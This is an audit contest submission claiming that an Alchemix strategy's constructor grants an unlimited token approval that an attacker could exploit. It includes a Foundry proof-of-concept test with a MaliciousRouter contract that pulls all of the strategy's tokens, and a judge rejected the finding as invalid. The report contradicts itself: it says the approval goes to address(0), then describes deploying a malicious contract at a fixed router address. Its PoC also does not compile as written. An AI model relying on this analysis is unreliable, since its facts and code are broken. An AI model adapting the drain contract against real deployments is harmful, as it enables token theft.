DeFiFoundrySolidity
16,653 OP
View results
Submission Details
Severity: medium
Invalid

Unlimited token approvals to uninitialized router address in constructor creates risk of token theft

https://github.com/Cyfrin/2024-12-alchemix/blob/82798f4891e41959eef866bd1d4cb44fc1e26439/src/StrategyOp.sol#L19C1-L30C6

In the constructor, the contract approves the underlying token to the router address before _initStrategy() is called. Since the router variable is not yet initialized at this point, the approval is given to address(0).

Impact

An attacker could:

Monitor mempool for deployment of this strategy then front-run the deployment by deploying a malicious contract at address 0xa062aE8A9c5e11aaA026fc2670B0D65cCc8B2858 then use the unlimited approval to steal any underlying tokens that enter the strategy

Poc

contract Test is Test {
StrategyOp strategy;
address attacker;
ERC20 underlying;
function setUp() public {
// Deploy malicious contract at expected router address first
vm.prank(attacker);
MaliciousRouter router = new MaliciousRouter();
// Deploy strategy - this will approve unlimited spending to router
strategy = new StrategyOp(
address(asset),
address(transmuter),
"Strategy"
);
underlying = strategy.underlying();
}
function testExploit() public {
// Strategy receives some underlying tokens
deal(address(underlying), address(strategy), 100e18);
// Attacker can steal all underlying tokens
vm.prank(attacker);
MaliciousRouter(router).stealTokens(
address(underlying),
address(strategy),
100e18
);
assertEq(underlying.balanceOf(address(strategy)), 0);
assertEq(underlying.balanceOf(attacker), 100e18);
}
}
contract MaliciousRouter {
function stealTokens(address token, address victim, uint256 amount) external {
ERC20(token).transferFrom(victim, msg.sender, amount);
}
}

Tools Used- Manual review

Recommendations -Move the underlying.safeApprove() call after the router address is set:

constructor(
address _asset,
address _transmuter,
string memory _name
) BaseStrategy(_asset, _name) {
transmuter = ITransmuter(_transmuter);
require(transmuter.syntheticToken() == _asset, "Asset does not match transmuter synthetic token");
underlying = ERC20(transmuter.underlyingToken());
asset.safeApprove(address(transmuter), type(uint256).max);
_initStrategy();
}
function _initStrategy() internal {
router = 0xa062aE8A9c5e11aaA026fc2670B0D65cCc8B2858;
require(router != address(0), "Router not set");
underlying.safeApprove(address(router), type(uint256).max);
}
Updates

Appeal created

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
1stephen Submitter
7 months ago
inallhonesty Lead Judge
7 months ago
inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.